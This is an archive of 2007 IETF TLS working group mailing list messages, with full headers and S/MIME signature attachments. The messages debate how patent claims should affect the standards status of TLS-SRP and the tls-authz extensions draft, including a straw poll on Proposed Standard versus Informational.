tls-bounces@lists.ietf.org On Sun, 3 Jun 2007, Yoav Nir wrote: > > On Jun 2, 2007, at 10:08 AM, Tom Wu wrote: > >> Martin Rex: >> >>> The document status is pretty much the only "incentive" that the >>> IETF can put out for companies to slow down on their patents race >>> or at least to come up with reasonable licensing terms (i.e. royalty free >>> for Free and OpenSource software). >> >> Keep in mind that in the context of this discussion, Stanford (SRP) and >> Lucent (EKE) are competitors. Knocking down TLS-SRP from Proposed to >> Informational/Experimental rewards the player that did not do the "right" >> thing (free licensing) at the expense of the player that did the "right" >> thing (Stanford). The last thing you want to do is to create an incentive >> for players to do an IPR "denial of service" on a competitor's technology, >> since this encourages "patent race" behavior. > > It's not about punishing Stanford or rewarding Lucent. It's the question of > whether or not you might get sued for implementing this. It _is_ precisely about punishment/reward - if you read the context of my comments, you'll see that I was addressing Martin Rex's point about the use of document status as incentive, and supplying information about how the incentives would work in this particular case. > Perhaps, but we don't need to have the key mixed into the encryption keys of > TLS. It should be good enough to have the server prove it has access to the > SRP key. This was the approach taken in IKEv2, and it should also be good > for EAP-in-TLS. Handwaving with the word "should" is easy, but there still isn't a specific protocol that can be analyzed for security, or performance for that matter - if there is one D-H exchange for the session security keys and a separate key exchange for SRP, then you're already at close to a factor-of-two performance disadvantage compared to SRP-TLS. It's not that I dislike EAP-in-TLS, but it's not entirely fair to compare a real standard versus some theoretical construct, especially if you always give the latter the benefit of the doubt before it gets exposed to real design and engineering tradeoffs. This EAP discussion is a non-starter until someone actually puts forth a specific SRP-EAP-TLS proposal. Tom -- Tom Wu http://www-cs-students.stanford.edu/~tjw/ _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 04 23:26:16 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvPgD-0003l5-Pz; Mon, 04 Jun 2007 23:25:57 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvPgC-0003kt-2z for tls@ietf.org; Mon, 04 Jun 2007 23:25:56 -0400 Received: from conn.mc.mpls.visi.com ([208.42.156.2] helo=conn-smtp.mc.mpls.visi.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvPg9-0000qI-M9 for tls@ietf.org; Mon, 04 Jun 2007 23:25:56 -0400 Received: from rpud1 (v-209-98-144-171.mn.visi.com [209.98.144.171]) by conn-smtp.mc.mpls.visi.com (Postfix) with ESMTP id 9F9AD811E; Mon, 4 Jun 2007 22:25:52 -0500 (CDT) From: "Mark Brown" To: "'Richard Levitte'" , References: <20070528183851.2E07E33C1A@delta.rtfm.com> <20070603.133702.24219539.richard@levitte.org> Subject: RE: [TLS] Comments on draft-housley-tls-authz-extns-07 Date: Mon, 4 Jun 2007 22:26:37 -0500 Message-ID: <000c01c7a721$537d7a00$6801a8c0@rps.local> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028 In-Reply-To: <20070603.133702.24219539.richard@levitte.org> Thread-Index: Acel0+dDeXqlBueZTCGQrmfjX5JO3wBMjJBA X-Spam-Score: 0.0 (/) X-Scan-Signature: 0fa76816851382eb71b0a882ccdc29ac Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Richard, I see that despite efforts to identify, bracket, and set aside the FUD concerning the RedPhone Security patent application, uncertainty and doubt remain. I'd really like to cut through the FUD. As I mentioned earlier, the royalty free GUL only protects a single method of computing a Boolean authorization result -- a method that I think is new. Let's put aside fear, uncertainty and doubt concerning one new method, when every other method -- all methods documented prior to the RedPhone Security patent filing, and those discussed early in our consensus-building process (http://tinyurl.com/2pvwgo ) -- are all available royalty-free under the GUL. To put your comment in perspective, SSL was born as a patent (See USPTO 5,657,390, filed August 1995, issued August 1997 http://tinyurl.com/2cnuwv), has dealt with patent issues throughout its lifecycle (see for example http://tinyurl.com/26vjnh ), and thrived after Netscape's conditional but royalty free license grant (see archives like http://tinyurl.com/24olgv ). FAQ #1 on the OpenSSL website is still, "Do I need patent licenses to use OpenSSL?" (http://www.openssl.org/support/faq.html#LEGAL1) Even before the Netscape SSL patent issued, EAY in 1996 made a list of cryptographic algorithms that required special attention to IPR issues ( http://tinyurl.com/2ayy7d ). And since 1997 there have been other patents that apply to SSL/TLS - for example elliptic curve crypto (Certicom) which has already been added to several TLS standards-track drafts and RFCs. What I think this history amounts to is that OpenSSL and its users can stomach a handful of "off-limits" algorithms. It's like a tradition for OpenSSL.. ;-) There are now implementations of tls-authz in GNUTLS, on OpenSSL and NSS. Free software carrying tls-authz is growing up around us whether we like it or not. Because it's free (libre) no one asked me and apparently they didn't ask OpenSSL developers either. Personally, I think that's great -- I think sending SAML over TLS should be free (libre), and that's why I started down the standards track in the first place. No FUD: The GUL is just saying that tls-authz should not be used to facilitate violations of a patent pending access control method that I am confident is new. Isn't a satisfactory resolution of "the patent issue" one where all people get to use tls-authz royalty free for any purpose and using any non-patented method? Isn't that the best possible case? With the exception of one method that I expect will become patented, that's what's offered for tls-authz under the GUL. --mark > -----Original Message----- > From: Richard Levitte [mailto:richard@levitte.org] > Sent: Sunday, June 03, 2007 6:37 AM > To: tls@ietf.org > Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 > > There's already been enough arguments that I agree with about the > patent issue with this draft from Pasi, Simon and Dean. I agree with > them all, and just want to add another voice against putting this > draft, as it currently stands with the patent claim, on the Standard > Track, and am in favor of putting it on the Experimental or > Informational tracks. > > As a OpenSSL developer, I will oppose implementing authz in it unless > the patent issue is resolved in a satisfactory manner. > > Cheers, > Richard > > -- > Richard Levitte richard@levitte.org > http://richard.levitte.org/ > > "When I became a man I put away childish things, including > the fear of childishness and the desire to be very grown up." > -- C.S. Lewis > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 04 23:44:34 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvPyE-0000QL-3C; Mon, 04 Jun 2007 23:44:34 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvPyC-0000QG-Ro for tls@ietf.org; Mon, 04 Jun 2007 23:44:32 -0400 Received: from ms-smtp-02.rdc-nyc.rr.com ([24.29.109.6]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvPyB-0003Za-KM for tls@ietf.org; Mon, 04 Jun 2007 23:44:32 -0400 Received: from www.secure-endpoints.com (cpe-24-193-47-99.nyc.res.rr.com [24.193.47.99]) by ms-smtp-02.rdc-nyc.rr.com (8.13.6/8.13.6) with ESMTP id l553iUNb014177 for ; Mon, 4 Jun 2007 23:44:31 -0400 (EDT) Received: from [192.168.1.13] by secure-endpoints.com (Cipher TLSv1:RC4-MD5:128) (MDaemon PRO v9.5.6) with ESMTP id md50000054514.msg for ; Mon, 04 Jun 2007 23:44:43 -0400 Message-ID: <4664DC14.40807@secure-endpoints.com> Date: Mon, 04 Jun 2007 23:44:20 -0400 From: Jeffrey Altman Organization: Secure Endpoints Inc. User-Agent: Thunderbird 2.0.0.0 (Windows/20070326) MIME-Version: 1.0 To: Pasi.Eronen@nokia.com Subject: Re: [TLS] Straw poll on TLS SRP status References: In-Reply-To: X-Enigmail-Version: 0.95.0 OpenPGP: url=http://pgp.mit.edu X-Authenticated-Sender: jaltman@secure-endpoints.com X-Spam-Processed: www.secure-endpoints.com, Mon, 04 Jun 2007 23:44:43 -0400 (not processed: message from valid local sender) X-Lookup-Warning: EHLO lookup on [192.168.1.13] does not match 24.193.47.99 X-Return-Path: jaltman@secure-endpoints.com X-Envelope-From: jaltman@secure-endpoints.com X-MDaemon-Deliver-To: tls@ietf.org X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.1 (/) X-Scan-Signature: 7fa173a723009a6ca8ce575a65a5d813 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: jaltman@secure-endpoints.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0703918934==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============0703918934== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms060100030607070000010207" This is a cryptographically signed message in MIME format. --------------ms060100030607070000010207 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Pasi.Eronen@nokia.com wrote: > Folks, > > The one remaining issue with TLS SRP is its intended status (Proposed > Standard, Informational, or Experimental). I and Eric think we need > more data to determine consensus here, so this message starts a > two-week straw poll on this issue. (Our apologies that this has > taken so long; this poll should have been some time ago already.) > > The question is: Do you support advancing draft-ietf-tls-srp as > Proposed Standard? > > [ ] Yes. > [ ] I think Informational/Experimental is better. > [ ] I don't care about the status, just get it published. > [ ] Something else, please state: > > You may reply either on the list, or privately to the chairs. I vote Yes. Proposed Standard. > > Some points you may wish to consider, summarizing some of the > arguments made earlier: > > - The document describing SRP-3 (not exactly the same > algorithm as here), RFC 2945, is Proposed Standard. RFC 2944, Telnet Authentication SRP is also proposed standard. There are several commercial and open source implementations of RFC 2944 and RFC 2945. Those same parties are likely to add support for TLS-SRP as well. Jeffrey Altman Secure Endpoints Inc. --------------ms060100030607070000010207 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJeTCC AxcwggKAoAMCAQICEALr5BE3U6n+HWCoLbyhohMwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UE BhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMT I1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDUzMTA2MTM1N1oX DTA4MDUzMDA2MTM1N1owczEPMA0GA1UEBBMGQWx0bWFuMRUwEwYDVQQqEwxKZWZmcmV5IEVy aWMxHDAaBgNVBAMTE0plZmZyZXkgRXJpYyBBbHRtYW4xKzApBgkqhkiG9w0BCQEWHGphbHRt YW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQCsoz/0+s4Cn65n/3bU3shXw4y5u1uEMEsBOiqNU0PfIKGYQe95b1FKNbNAkctSdQT6GF5c bhSnJPmb2OOb1frx64dlDgskaG561xa8XPA1aP8Cc+33dgsSLIxGEh97lyUYHEfWBC03KMCF PKhZfcrGAXoVCrFBadnLAokQbUTFahVg/qQx2IT3wSj1sCIfV5UDuXcEKHCvRtEZIsSzu184 9Cj6I4nY5bt+r94kyDHM94MHYBJi+6tWLFRy2gkIB3HEPmxAiQrKljNpH9bOffiBLIAgmJ6d 1ZXepBXyexQbwOYvftpVlMEFHHQmdiwH3tj69hE78XvM5X9J+SbjbuNpAgMBAAGjOTA3MCcG A1UdEQQgMB6BHGphbHRtYW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wDAYDVR0TAQH/BAIwADAN BgkqhkiG9w0BAQUFAAOBgQB8FShDN2Ig034Y5eyadiFDEtOvsIJ3Z2xV9aTL4u8xMlz1gZR1 AZAvCv+ZMMRRKWCsrG5tItV8DFPSfWAGMpInmMarA4f76JRLQEUhkRUg8GpkJM5ryk5EDakk 0oiBQcQD8A+UHwrcmaj3UWxQ9zCjDgU+1mY9nEQxZZyp4eeUfzCCAxcwggKAoAMCAQICEALr 5BE3U6n+HWCoLbyhohMwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoT HFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25h bCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDUzMTA2MTM1N1oXDTA4MDUzMDA2MTM1N1ow czEPMA0GA1UEBBMGQWx0bWFuMRUwEwYDVQQqEwxKZWZmcmV5IEVyaWMxHDAaBgNVBAMTE0pl ZmZyZXkgRXJpYyBBbHRtYW4xKzApBgkqhkiG9w0BCQEWHGphbHRtYW5Ac2VjdXJlLWVuZHBv aW50cy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsoz/0+s4Cn65n/3bU 3shXw4y5u1uEMEsBOiqNU0PfIKGYQe95b1FKNbNAkctSdQT6GF5cbhSnJPmb2OOb1frx64dl DgskaG561xa8XPA1aP8Cc+33dgsSLIxGEh97lyUYHEfWBC03KMCFPKhZfcrGAXoVCrFBadnL AokQbUTFahVg/qQx2IT3wSj1sCIfV5UDuXcEKHCvRtEZIsSzu1849Cj6I4nY5bt+r94kyDHM 94MHYBJi+6tWLFRy2gkIB3HEPmxAiQrKljNpH9bOffiBLIAgmJ6d1ZXepBXyexQbwOYvftpV lMEFHHQmdiwH3tj69hE78XvM5X9J+SbjbuNpAgMBAAGjOTA3MCcGA1UdEQQgMB6BHGphbHRt YW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQUFAAOB gQB8FShDN2Ig034Y5eyadiFDEtOvsIJ3Z2xV9aTL4u8xMlz1gZR1AZAvCv+ZMMRRKWCsrG5t ItV8DFPSfWAGMpInmMarA4f76JRLQEUhkRUg8GpkJM5ryk5EDakk0oiBQcQD8A+UHwrcmaj3 UWxQ9zCjDgU+1mY9nEQxZZyp4eeUfzCCAz8wggKooAMCAQICAQ0wDQYJKoZIhvcNAQEFBQAw gdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg VG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp bCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0w MzA3MTcwMDAwMDBaFw0xMzA3MTYyMzU5NTlaMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxU aGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwg RnJlZW1haWwgSXNzdWluZyBDQTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxKY8VXNV +065yplaHmjAdQRwnd/p/6Me7L3N9VvyGna9fww6YfK/Uc4B1OVQCjDXAmNaLIkVcI7dyfAr hVqqP3FWy688Cwfn8R+RNiQqE88r1fOCdz0Dviv+uxg+B79AgAJk16emu59l0cUqVIUPSAR/ p7bRPGEEQB5kGXJgt/sCAwEAAaOBlDCBkTASBgNVHRMBAf8ECDAGAQH/AgEAMEMGA1UdHwQ8 MDowOKA2oDSGMmh0dHA6Ly9jcmwudGhhd3RlLmNvbS9UaGF3dGVQZXJzb25hbEZyZWVtYWls Q0EuY3JsMAsGA1UdDwQEAwIBBjApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxh YmVsMi0xMzgwDQYJKoZIhvcNAQEFBQADgYEASIzRUIPqCy7MDaNmrGcPf6+svsIXoUOWlJ1/ TCG4+DYfqi2fNi/A9BxQIJNwPP2t4WFiw9k6GX6EsZkbAMUaC4J0niVQlGLH2ydxVyWN3amc OY6MIE9lX5Xa9/eH1sYITq726jTlEBpbNU1341YheILcIRk13iSx0x1G/11fZU8xggNkMIID YAIBATB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5 KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQQIQ AuvkETdTqf4dYKgtvKGiEzAJBgUrDgMCGgUAoIIBwzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN AQcBMBwGCSqGSIb3DQEJBTEPFw0wNzA2MDUwMzQ0MjBaMCMGCSqGSIb3DQEJBDEWBBTsU6ru tL9kYxPth3PWlqhRHb5CNDBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMHMA4GCCqGSIb3 DQMCAgIAgDANBggqhkiG9w0DAgIBQDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDCBhQYJKwYB BAGCNxAEMXgwdjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcg KFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3Vpbmcg Q0ECEALr5BE3U6n+HWCoLbyhohMwgYcGCyqGSIb3DQEJEAILMXigdjBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhh d3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEALr5BE3U6n+HWCoLbyhohMwDQYJ KoZIhvcNAQEBBQAEggEAKhfZxLKyYOruKjqcs1VtAZEHNDKs6StavTeto/ABynfJLjRxOfV+ HkTnhEiMal22UTPXQPQpmUFPrgM1ovTRQV3LFHyE5t8+Qg8QSkeLhwZWKqL4FmHxAQSTq6NQ xJkgarjXzNyjVVe2kNYSufRrjuYY/SD/Q2otTLcPNOpGH9Qq/19QiHn08Uqcs96h4gjNteZA FQlncu7VZpccW/oU7VoH09gltYixNZq/fk9Tzy5Pwdx98ZNbMtX9urfocliQPyXbyCtaDEVL 72A9yl8+7DX/a8OkMZfyEl0+fIzTil+2QviL8B6jrx8ZdsnzqCFdZtv1Wv4+g4YIeC6/MYAV mQAAAAAAAA== --------------ms060100030607070000010207-- --===============0703918934== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============0703918934==-- From tls-bounces@lists.ietf.org Mon Jun 04 23:48:13 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvQ1l-0000qD-B5; Mon, 04 Jun 2007 23:48:13 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvQ1k-0000q8-6q for tls@ietf.org; Mon, 04 Jun 2007 23:48:12 -0400 Received: from ms-smtp-02.rdc-nyc.rr.com ([24.29.109.6]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvQ1j-00041I-VK for tls@ietf.org; Mon, 04 Jun 2007 23:48:12 -0400 Received: from www.secure-endpoints.com (cpe-24-193-47-99.nyc.res.rr.com [24.193.47.99]) by ms-smtp-02.rdc-nyc.rr.com (8.13.6/8.13.6) with ESMTP id l553mAfx015649 for ; Mon, 4 Jun 2007 23:48:10 -0400 (EDT) Received: from [192.168.1.13] by secure-endpoints.com (Cipher TLSv1:RC4-MD5:128) (MDaemon PRO v9.5.6) with ESMTP id md50000054516.msg for ; Mon, 04 Jun 2007 23:48:24 -0400 Message-ID: <4664DCF0.2000009@secure-endpoints.com> Date: Mon, 04 Jun 2007 23:48:00 -0400 From: Jeffrey Altman Organization: Secure Endpoints Inc. User-Agent: Thunderbird 2.0.0.0 (Windows/20070326) MIME-Version: 1.0 To: pgut001@cs.auckland.ac.nz Subject: Re: [TLS] Straw poll on TLS SRP status References: In-Reply-To: X-Enigmail-Version: 0.95.0 OpenPGP: url=http://pgp.mit.edu X-Authenticated-Sender: jaltman@secure-endpoints.com X-Spam-Processed: www.secure-endpoints.com, Mon, 04 Jun 2007 23:48:24 -0400 (not processed: message from valid local sender) X-Lookup-Warning: EHLO lookup on [192.168.1.13] does not match 24.193.47.99 X-Return-Path: jaltman@secure-endpoints.com X-Envelope-From: jaltman@secure-endpoints.com X-MDaemon-Deliver-To: tls@ietf.org X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.1 (/) X-Scan-Signature: 2857c5c041d6c02d7181d602c22822c8 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: jaltman@secure-endpoints.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0555656255==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============0555656255== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms040106040803070302060105" This is a cryptographically signed message in MIME format. --------------ms040106040803070302060105 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Peter Gutmann wrote: > writes: > >> The question is: Do you support advancing draft-ietf-tls-srp as Proposed >> Standard? >> >> [ ] Yes. >> [X] I think Informational/Experimental is better. >> [ ] I don't care about the status, just get it published. >> [ ] Something else, please state: >> >> You may reply either on the list, or privately to the chairs. > > I'll reply publicly in order to provide a rationale: Arguments against it > becoming a full standard are that this spec has been around for six years now > without any significant implementations appearing (apologies to the authors of > GnuTLS and TLS Lite :-). Commercial implementations are blocked while waiting for the RFC so that the permanent cipher suite numbers can be assigned. > > So really the only deciding factor is the IP status. The Lucent and > especially the Phoenix IPR statements will be, in my experience, sufficient to > scare off any commercial users (and by extension non-commercial users who have > to worry about lawyers). So although it'd be nice to see SRP deployed, I > don't think the IP encumbrance will get it past Informational. If it wasn't > for that, my vote would be "Just get it published". There are several commercial implementations of RFC 2944 and RFC 2945. The IPR statements and surrounding FUD were not sufficient to prevent implementations for Telnet clients and servers. Just publish the thing and let the market decide when to implement it. Jeffrey Altman Secure Endpoints Inc. --------------ms040106040803070302060105 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJeTCC AxcwggKAoAMCAQICEALr5BE3U6n+HWCoLbyhohMwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UE BhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMT I1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDUzMTA2MTM1N1oX DTA4MDUzMDA2MTM1N1owczEPMA0GA1UEBBMGQWx0bWFuMRUwEwYDVQQqEwxKZWZmcmV5IEVy aWMxHDAaBgNVBAMTE0plZmZyZXkgRXJpYyBBbHRtYW4xKzApBgkqhkiG9w0BCQEWHGphbHRt YW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQCsoz/0+s4Cn65n/3bU3shXw4y5u1uEMEsBOiqNU0PfIKGYQe95b1FKNbNAkctSdQT6GF5c bhSnJPmb2OOb1frx64dlDgskaG561xa8XPA1aP8Cc+33dgsSLIxGEh97lyUYHEfWBC03KMCF PKhZfcrGAXoVCrFBadnLAokQbUTFahVg/qQx2IT3wSj1sCIfV5UDuXcEKHCvRtEZIsSzu184 9Cj6I4nY5bt+r94kyDHM94MHYBJi+6tWLFRy2gkIB3HEPmxAiQrKljNpH9bOffiBLIAgmJ6d 1ZXepBXyexQbwOYvftpVlMEFHHQmdiwH3tj69hE78XvM5X9J+SbjbuNpAgMBAAGjOTA3MCcG A1UdEQQgMB6BHGphbHRtYW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wDAYDVR0TAQH/BAIwADAN BgkqhkiG9w0BAQUFAAOBgQB8FShDN2Ig034Y5eyadiFDEtOvsIJ3Z2xV9aTL4u8xMlz1gZR1 AZAvCv+ZMMRRKWCsrG5tItV8DFPSfWAGMpInmMarA4f76JRLQEUhkRUg8GpkJM5ryk5EDakk 0oiBQcQD8A+UHwrcmaj3UWxQ9zCjDgU+1mY9nEQxZZyp4eeUfzCCAxcwggKAoAMCAQICEALr 5BE3U6n+HWCoLbyhohMwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoT HFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25h bCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDUzMTA2MTM1N1oXDTA4MDUzMDA2MTM1N1ow czEPMA0GA1UEBBMGQWx0bWFuMRUwEwYDVQQqEwxKZWZmcmV5IEVyaWMxHDAaBgNVBAMTE0pl ZmZyZXkgRXJpYyBBbHRtYW4xKzApBgkqhkiG9w0BCQEWHGphbHRtYW5Ac2VjdXJlLWVuZHBv aW50cy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsoz/0+s4Cn65n/3bU 3shXw4y5u1uEMEsBOiqNU0PfIKGYQe95b1FKNbNAkctSdQT6GF5cbhSnJPmb2OOb1frx64dl DgskaG561xa8XPA1aP8Cc+33dgsSLIxGEh97lyUYHEfWBC03KMCFPKhZfcrGAXoVCrFBadnL AokQbUTFahVg/qQx2IT3wSj1sCIfV5UDuXcEKHCvRtEZIsSzu1849Cj6I4nY5bt+r94kyDHM 94MHYBJi+6tWLFRy2gkIB3HEPmxAiQrKljNpH9bOffiBLIAgmJ6d1ZXepBXyexQbwOYvftpV lMEFHHQmdiwH3tj69hE78XvM5X9J+SbjbuNpAgMBAAGjOTA3MCcGA1UdEQQgMB6BHGphbHRt YW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQUFAAOB gQB8FShDN2Ig034Y5eyadiFDEtOvsIJ3Z2xV9aTL4u8xMlz1gZR1AZAvCv+ZMMRRKWCsrG5t ItV8DFPSfWAGMpInmMarA4f76JRLQEUhkRUg8GpkJM5ryk5EDakk0oiBQcQD8A+UHwrcmaj3 UWxQ9zCjDgU+1mY9nEQxZZyp4eeUfzCCAz8wggKooAMCAQICAQ0wDQYJKoZIhvcNAQEFBQAw gdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg VG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp bCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0w MzA3MTcwMDAwMDBaFw0xMzA3MTYyMzU5NTlaMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxU aGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwg RnJlZW1haWwgSXNzdWluZyBDQTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxKY8VXNV +065yplaHmjAdQRwnd/p/6Me7L3N9VvyGna9fww6YfK/Uc4B1OVQCjDXAmNaLIkVcI7dyfAr hVqqP3FWy688Cwfn8R+RNiQqE88r1fOCdz0Dviv+uxg+B79AgAJk16emu59l0cUqVIUPSAR/ p7bRPGEEQB5kGXJgt/sCAwEAAaOBlDCBkTASBgNVHRMBAf8ECDAGAQH/AgEAMEMGA1UdHwQ8 MDowOKA2oDSGMmh0dHA6Ly9jcmwudGhhd3RlLmNvbS9UaGF3dGVQZXJzb25hbEZyZWVtYWls Q0EuY3JsMAsGA1UdDwQEAwIBBjApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxh YmVsMi0xMzgwDQYJKoZIhvcNAQEFBQADgYEASIzRUIPqCy7MDaNmrGcPf6+svsIXoUOWlJ1/ TCG4+DYfqi2fNi/A9BxQIJNwPP2t4WFiw9k6GX6EsZkbAMUaC4J0niVQlGLH2ydxVyWN3amc OY6MIE9lX5Xa9/eH1sYITq726jTlEBpbNU1341YheILcIRk13iSx0x1G/11fZU8xggNkMIID YAIBATB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5 KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQQIQ 